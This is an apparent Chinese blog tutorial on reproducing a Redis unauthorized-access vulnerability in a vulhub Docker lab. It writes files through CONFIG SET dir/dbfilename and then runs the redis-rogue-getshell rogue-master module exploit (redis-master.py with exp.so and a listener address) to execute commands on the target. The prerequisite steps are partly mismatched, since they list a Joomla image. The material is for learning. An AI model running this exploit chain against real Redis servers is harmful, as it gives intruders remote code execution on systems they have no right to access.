当前位置: 首页 > news >正文

redis未授权访问

文章目录

  • 搭建环境
  • 漏洞复现
  • 安装Exlopit并使用

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

搭建环境

输入下面命令,来到Redis的路径下:

cd vulhub/redis/4-unacc

然后输入下面命令,安装容器并启动

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装中:

在这里插入图片描述

安装完成并启动后查看容器状态:

sudo docker-compose ps -a

状态为已启动,redis的端口号是6379:

在这里插入图片描述

漏洞复现

用下面命令连接redis数据库,发现不需要账号密码,可以直接连接数据库:

redis-cli -h 127.0.0.1

说明redis存在未授权访问漏洞:

在这里插入图片描述

在数据库中用info命令查看数据库信息,可以查看:

在这里插入图片描述

然后在数据库中添加键值对和一个txt文件,并尝试访问文件,如果能访问成功,说明数据库有读写文件的权限。

新建键值对并查看

set name EMT
get name

执行命令后可以成功查看:
在这里插入图片描述

设置一个目录:

 config set dir /tmp/

设置新建一个文件:

 config set dbfilename EMT.txt

保存

save

如图,命令执行成功:

在这里插入图片描述

由于连接的是docker容器的数据库,所以我们可以在docker中查看刚刚新建的文件是否存在,首先登录容器:(-it后接的参数是容器的ID)

sudo docker exec -it 4-unacc-redis-1 /bin/bash

登录成功后用命令查看tmp目录下的文件是否创建成功:

ls /tmp

发现创建成功,说明redis数据库可以读取写入文件,这是redis存在的未授权访问漏洞:

在这里插入图片描述

安装Exlopit并使用

进入kali的tools目录下,执行下面命令,获取文件:

git clone https://github.com/vulhub/redis-rogue-getshell.git

下载完成后进入目录

cd redis-rogue-getshell/RedisModulesSDK

输入make进行编译,编译成功后会出现exp.so文件:

在这里插入图片描述

然后在redis-master.py的上级目录执行下面命令:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "id"

如图,获得了uid和组ID:

在这里插入图片描述

输入whoami命令查看:

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

执行成功,回显出数据库的名字:

在这里插入图片描述

说明该漏洞可以用来获取数据库信息

http://www.lryc.cn/news/157111.html

相关文章:

  • 【数学建模竞赛】优化类赛题常用算法解析
  • Python实现SSA智能麻雀搜索算法优化LightGBM回归模型(LGBMRegressor算法)项目实战
  • OpenCV(二十一):椒盐噪声和高斯噪声的产生
  • 【设计模式】Head First 设计模式——构建器模式 C++实现
  • 基于Python+Django深度学习的身份证识别考勤系统设计与实现
  • Unity控制程序退出
  • C++ using的多种用法
  • Java环境的安装
  • 【ES6】js中的__proto__和prototype
  • 工程项目管理系统源码-简洁+好用+全面-工程项目管理
  • 后端SpringBoot+前端Vue前后端分离的项目(二)
  • 【5】openGL使用宏和函数进行错误检测
  • STM32 CAN快速配置(HAL库版本)
  • 【文末送书】全栈开发流程——后端连接数据源(二)
  • leetcode_27_最小栈
  • 01-ZooKeeper快速入门
  • [经典面试题]JS的typeof和instanceof区别
  • C++内存区堆和栈
  • QT中闹钟的设置
  • 【Redis】几款redis可视化工具(推荐Another Redis Desktop Manager)
  • 肖sir__设计测试用例方法之因果图07_(黑盒测试)
  • 李宏毅-21-hw3:对11种食物进行分类-CNN
  • 成集云 | 飞书审批同步金蝶云星空销售订单 | 解决方案
  • 06 科技英语|控制与优化学科词汇
  • 【网络教程】GitHub搜索技巧大揭秘
  • AUTOSAR LIN: LDF(LIN Description File)文件解析
  • Vue.js 报错:Cannot read property ‘validate‘ of undefined“
  • vue使用wangEditor
  • 网络编程、socket编程、多进程并发服务器
  • Elasticsearch:自动使用服务器时间设置日期字段并更新时区